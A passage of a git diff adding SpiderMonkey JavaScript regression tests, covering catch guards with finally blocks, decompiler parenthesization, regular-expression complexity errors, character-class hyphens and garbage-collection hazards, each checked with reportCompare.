+ exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.end,
+ exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cg1 + exphash.cg2 + exphash.cat + exphash.fin + exphash.end,
+ ];
+
+ for (var i in src) {
+ print("\n=== " + src[i]);
+ var f = eval(src[i]);
+ print(src[i]);
+ var exp = eval(expsrc[i]);
+ // dis(f);
+ print('decompiling: ' + f);
+
+ actual = '';
+ try { expect = exp(42); f(42) } catch (e) { print('tried f(42), caught ' + e) }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try { expect = exp(43); f(43) } catch (e) { print('tried f(43), caught ' + e) }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try { expect = exp(44); f(44) } catch (e) { print('tried f(44), caught ' + e) }
+ reportCompare(expect, actual, summary);
+ }
+
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-346494.js b/js/src/tests/js1_5/extensions/regress-346494.js
new file mode 100644
index 000000000..bca6c4ec1
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-346494.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346494;
+var summary = 'try-catch-finally scope';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g()
+ {
+ try
+ {
+ throw "foo";
+ }
+ catch(e if e == "bar")
+ {
+ }
+ catch(e if e == "baz")
+ {
+ }
+ finally
+ {
+ }
+ }
+
+ expect = "foo";
+ try
+ {
+ g();
+ actual = 'No Exception';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ function h()
+ {
+ try
+ {
+ throw "foo";
+ }
+ catch(e if e == "bar")
+ {
+ }
+ catch(e)
+ {
+ }
+ finally
+ {
+ }
+ }
+
+ expect = "No Exception";
+ try
+ {
+ h();
+ actual = 'No Exception';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-350312-01.js b/js/src/tests/js1_5/extensions/regress-350312-01.js
new file mode 100644
index 000000000..13ebce63f
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-350312-01.js
@@ -0,0 +1,50 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var tmp;
+
+ function f()
+ {
+ try {
+ try {
+ throw 1;
+ } catch (e) {
+ throw e;
+ } finally {
+ tmp = true;
+ }
+ } catch (e) {
+ return e;
+ }
+ }
+
+ var ex = f();
+
+ var passed = ex === 1;
+ if (!passed) {
+ print("Failed!");
+ print("ex="+uneval(ex));
+ }
+ reportCompare(true, passed, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-350312-02.js b/js/src/tests/js1_5/extensions/regress-350312-02.js
new file mode 100644
index 000000000..20bab7e24
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-350312-02.js
@@ -0,0 +1,112 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function createPrint(obj)
+ {
+ return new Function("actual += " + obj + " + ','; " +
+ "print(" + obj + ");");
+ }
+
+ function createThrow(obj)
+ {
+ return new Function("throw " + obj + "; ");
+ }
+
+
+ function f(a, b, c)
+ {
+ try {
+ a();
+ } catch (e if e == null) {
+ b();
+ } finally {
+ c();
+ }
+ }
+
+ print('test 1');
+ expect = 'a,c,';
+ actual = '';
+ try
+ {
+ f(createPrint("'a'"), createPrint("'b'"), createPrint("'c'"));
+ }
+ catch(ex)
+ {
+ actual += 'caught ' + ex;
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ print('test 2');
+ expect = 'c,caught a';
+ actual = '';
+ try
+ {
+ f(createThrow("'a'"), createPrint("'b'"), createPrint("'c'"));
+ }
+ catch(ex)
+ {
+ actual += 'caught ' + ex;
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ print('test 3');
+ expect = 'b,c,';
+ actual = '';
+ try
+ {
+ f(createThrow("null"), createPrint("'b'"), createPrint("'c'"));
+ }
+ catch(ex)
+ {
+ actual += 'caught ' + ex;
+ }
+ reportCompare(expect, actual, summary + ': 3');
+
+ print('test 4');
+ expect = 'a,c,';
+ actual = '';
+ try
+ {
+ f(createPrint("'a'"), createThrow("'b'"), createPrint("'c'"));
+ }
+ catch(ex)
+ {
+ actual += 'caught ' + ex;
+ }
+ reportCompare(expect, actual, summary + ': 4');
+
+ print('test 5');
+ expect = 'c,caught b';
+ actual = '';
+ try
+ {
+ f(createThrow("null"), createThrow("'b'"), createPrint("'c'"));
+ }
+ catch(ex)
+ {
+ actual += 'caught ' + ex;
+ }
+ reportCompare(expect, actual, summary + ': 5');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-350312-03.js b/js/src/tests/js1_5/extensions/regress-350312-03.js
new file mode 100644
index 000000000..edf3cb49e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-350312-03.js
@@ -0,0 +1,116 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var pfx = "(function (x) {try {if (x > 41) throw x}",
+ cg1a = " catch (e if e === 42) {var v = 'catch guard 1 ' + e; actual += v + ',';print(v);}"
+ cg1b = " catch (e if e === 42) {var v = 'catch guard 1 + throw ' + e; actual += v + ',';print(v); throw e;}"
+ cg2 = " catch (e if e === 43) {var v = 'catch guard 2 ' + e; actual += v + ',';print(v)}"
+ cat = " catch (e) {var v = 'catch all ' + e; print(v); if (e == 44) throw e}"
+ fin = " finally{var v = 'fin'; actual += v + ',';print(v)}",
+ end = "})";
+
+ var exphash = {
+ pfx: "(function (y) { var result = ''; y = y + ',';",
+ cg1a: " result += (y === '42,') ? ('catch guard 1 ' + y):'';",
+ cg1b: " result += (y === '42,') ? ('catch guard 1 + throw ' + y):'';",
+ cg2: " result += (y === '43,') ? ('catch guard 2 ' + y):'';",
+ cat: " result += (y > 41) ? ('catch all ' + y):'';",
+ fin: " result += 'fin,';",
+ end: "return result;})"
+ };
+
+ var src = [
+ pfx + fin + end,
+ pfx + cat + end,
+ pfx + cat + fin + end,
+ pfx + cg1a + end,
+ pfx + cg1a + fin + end,
+ pfx + cg1a + cat + end,
+ pfx + cg1a + cat + fin + end,
+ pfx + cg1a + cg2 + end,
+ pfx + cg1a + cg2 + fin + end,
+ pfx + cg1a + cg2 + cat + end,
+ pfx + cg1a + cg2 + cat + fin + end,
+ pfx + cg1b + end,
+ pfx + cg1b + fin + end,
+ pfx + cg1b + cat + end,
+ pfx + cg1b + cat + fin + end,
+ pfx + cg1b + cg2 + end,
+ pfx + cg1b + cg2 + fin + end,
+ pfx + cg1b + cg2 + cat + end,
+ pfx + cg1b + cg2 + cat + fin + end,
+ ];
+
+ var expsrc = [
+ exphash.pfx + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cat + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.cat + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cg1a + exphash.cg2 + exphash.cat + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.cat + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.fin + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.cat + exphash.end,
+ exphash.pfx + exphash.cg1b + exphash.cg2 + exphash.cat + exphash.fin + exphash.end,
+ ];
+
+ for (var i in src) {
+ print("\n=== " + i + ": " + src[i]);
+ var f = eval(src[i]);
+ var exp = eval(expsrc[i]);
+ // dis(f);
+ print('decompiling: ' + f);
+ //print('decompiling exp: ' + exp);
+
+ actual = '';
+ try { expect = exp(41); f(41) } catch (e) { print('tried f(41), caught ' + e) }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try { expect = exp(42); f(42) } catch (e) { print('tried f(42), caught ' + e) }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try { expect = exp(43); f(43) } catch (e) { print('tried f(43), caught ' + e) }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try { expect = exp(44); f(44) } catch (e) { print('tried f(44), caught ' + e) }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try { expect = exp(45); f(45) } catch (e) { print('tried f(44), caught ' + e) }
+ reportCompare(expect, actual, summary);
+
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-350531.js b/js/src/tests/js1_5/extensions/regress-350531.js
new file mode 100644
index 000000000..fcf9c74fe
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-350531.js
@@ -0,0 +1,156 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350531;
+var summary = 'exhaustively test parenthesization of binary operator subsets';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Translated from permcomb.py, found at
+// http://biotech.embl-ebi.ac.uk:8400/sw/common/share/python/examples/dstruct/classics/permcomb.py
+// by searching for "permcomb.py".
+//
+// This shows bugs, gaps, and verbosities in JS compared to Python:
+// 1. Lack of range([start, ] end[, step]).
+// 2. ![] => false, indeed !<any-object> => false.
+// 3. Missing append or push for strings (if append, then we'd want append for
+// arrays too).
+// 4. Missing slice operator syntax s[i:j].
+// 5. Lack of + for array concatenation.
+
+ String.prototype.push = function (str) { return this + str; };
+
+ function permute(list) {
+ if (!list.length) // shuffle any sequence
+ return [list]; // empty sequence
+ var res = [];
+ for (var i = 0, n = list.length; i < n; i++) { // delete current node
+ var rest = list.slice(0, i).concat(list.slice(i+1));
+ for each (var x in permute(rest)) // permute the others
+ res.push(list.slice(i, i+1).concat(x)); // add node at front
+ }
+ return res;
+ }
+
+ function subset(list, size) {
+ if (size == 0 || !list.length) // order matters here
+ return [list.slice(0, 0)]; // an empty sequence
+ var result = [];
+ for (var i = 0, n = list.length; i < n; i++) {
+ var pick = list.slice(i, i+1); // sequence slice
+ var rest = list.slice(0, i).concat(list.slice(i+1)); // keep [:i] part
+ for each (var x in subset(rest, size-1))
+ result.push(pick.concat(x));
+ }
+ return result;
+ }
+
+ function combo(list, size) {
+ if (size == 0 || !list.length) // order doesn't matter
+ return [list.slice(0, 0)]; // xyz == yzx
+ var result = [];
+ for (var i = 0, n = (list.length - size) + 1; i < n; i++) {
+ // iff enough left
+ var pick = list.slice(i, i+1);
+ var rest = list.slice(i+1); // drop [:i] part
+ for each (var x in combo(rest, size - 1))
+ result.push(pick.concat(x));
+ }
+ return result;
+ }
+
+
+// Generate all subsets of distinct binary operators and join them from left
+// to right, parenthesizing minimally. Decompile, recompile, compress spaces
+// and compare to test correct parenthesization.
+
+// load("permcomb.js");
+
+ var bops = [
+ ["=", "|=", "^=", "&=", "<<=", ">>=", ">>>=", "+=", "-=", "*=", "/=", "%="],
+ ["||"],
+ ["&&"],
+ ["|"],
+ ["^"],
+ ["&"],
+ ["==", "!=", "===", "!=="],
+ ["<", "<=", ">=", ">", "in", "instanceof"],
+ ["<<", ">>", ">>>"],
+ ["+", "-"],
+ ["*", "/", "%"],
+ ];
+
+ var prec = {};
+ var aops = [];
+
+ for (var i = 0; i < bops.length; i++) {
+ for (var j = 0; j < bops[i].length; j++) {
+ var k = bops[i][j];
+ prec[k] = i;
+ aops.push(k);
+ }
+ }
+
+// Theoretically all subsets of size 2 should be enough to test, but in case
+// there's some large-scale bug, try up to 5 (or higher? The cost in memory is
+// factorially explosive).
+next_subset:
+ for (i = 2; i < 5; i++) {
+ var sets = subset(aops, i);
+ gc();
+
+ for each (var set in sets) {
+ //print('for each set in sets: ' + (uneval(set)) );
+ var src = "(function () {";
+ for (j in set) {
+ var op = set[j], op2 = set[j-1];
+
+ // Precedence 0 is for assignment ops, which are right-
+ // associative, so don't force left associativity using
+ // parentheses.
+ if (prec[op] && prec[op] < prec[op2])
+ src += "(";
+ }
+ src += "x ";
+ for (j in set) {
+ var op = set[j], op2 = set[j+1];
+
+ // Parenthesize only if not right-associative (precedence 0) and
+ // the next op is higher precedence than current.
+ var term = (prec[op] && prec[op] < prec[op2]) ? " x)" : " x";
+
+ src += op + term;
+ if (j < set.length - 1)
+ src += " ";
+ }
+ src += ";})";
+ try {
+ var ref = uneval(eval(src)).replace(/\s+/g, ' ');
+ if (ref != src) {
+ actual += "BROKEN! input: " + src + " output: " + ref + " ";
+ print("BROKEN! input: " + src + " output: " + ref);
+ break next_subset;
+ }
+ } catch (e) {}
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-351102-01.js b/js/src/tests/js1_5/extensions/regress-351102-01.js
new file mode 100644
index 000000000..4d569dd8c
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-351102-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351102;
+var summary = 'try/catch-guard/finally GC issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ f = function () {
+ try {
+ throw new Error('bad');
+ } catch (e if (e = null, gc(), false)) {
+ } catch (e) {
+ // e is dangling now
+ }
+ };
+
+ f();
+
+ reportCompare(expect, actual, summary + ': 1');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-351102-02.js b/js/src/tests/js1_5/extensions/regress-351102-02.js
new file mode 100644
index 000000000..ce613da15
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-351102-02.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351102;
+var summary = 'try/catch-guard/finally GC issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+ f = function ()
+ {
+ var a = null;
+ try {
+ a();
+ } catch (e) {
+ }
+ return false;
+ };
+
+ try {
+ throw 1;
+ } catch (e if f()) {
+ } catch (e if e == 1) {
+ print("GOOD");
+ } catch (e) {
+ print("BAD: "+e);
+ }
+
+ reportCompare(expect, actual, summary + ': 2');
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-351102-06.js b/js/src/tests/js1_5/extensions/regress-351102-06.js
new file mode 100644
index 000000000..87e897f99
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-351102-06.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351102;
+var summary = 'try/catch-guard/finally GC issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+ try
+ {
+ try { null.a } catch(e if (e = null, gc())) { }
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary + ': 6');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-351448.js b/js/src/tests/js1_5/extensions/regress-351448.js
new file mode 100644
index 000000000..0876eef04
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-351448.js
@@ -0,0 +1,62 @@
+// |reftest| skip -- Yarr doesn't have the same complexity errors at execution time.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351448;
+var summary = 'RegExp - throw InternalError on too complex regular expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var strings = [
+ "/.X(.+)+X/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+X/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+XX/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+XX/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X][X](.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X][X](.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"
+ ];
+
+ expect = 'InternalError: regular expression too complex';
+
+ for (var i = 0; i < strings.length; i++)
+ {
+ try
+ {
+ eval(strings[i]);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + strings[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-351463-01.js b/js/src/tests/js1_5/extensions/regress-351463-01.js
new file mode 100644
index 000000000..49e5441df
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-351463-01.js
@@ -0,0 +1,254 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351463;
+var summary = 'Treat hyphens as not special adjacent to CharacterClassEscapes in character classes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var r;
+ var s = 'a0- z';
+
+ r = '([\\d-\\s]+)';
+ expect = ['0- ', '0- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\d]+)';
+ expect = ['0- ', '0- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\D-\\s]+)';
+ expect = ['a', 'a'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\D]+)';
+ expect = ['a', 'a'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\d-\\S]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\d]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\D-\\S]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\D]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+// --
+
+ r = '([\\w-\\s]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\w]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\W-\\s]+)';
+ expect = ['- ', '- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\W]+)';
+ expect = ['- ', '- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\w-\\S]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\w]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\W-\\S]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\W]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-351973.js b/js/src/tests/js1_5/extensions/regress-351973.js
new file mode 100644
index 000000000..008db6353
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-351973.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351973;
+var summary = 'GC hazard with unrooted ids in Object.toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function removeAllProperties(o)
+ {
+ for (var prop in o)
+ delete o[prop];
+ for (var i = 0; i != 50*1000; ++i) {
+ var tmp = Math.sqrt(i+0.2);
+ tmp = 0;
+ }
+ if (typeof gc == "function")
+ gc();
+ }
+
+ function run_test()
+ {
+
+ var o = {};
+ o.first = { toSource: function() { removeAllProperties(o); } };
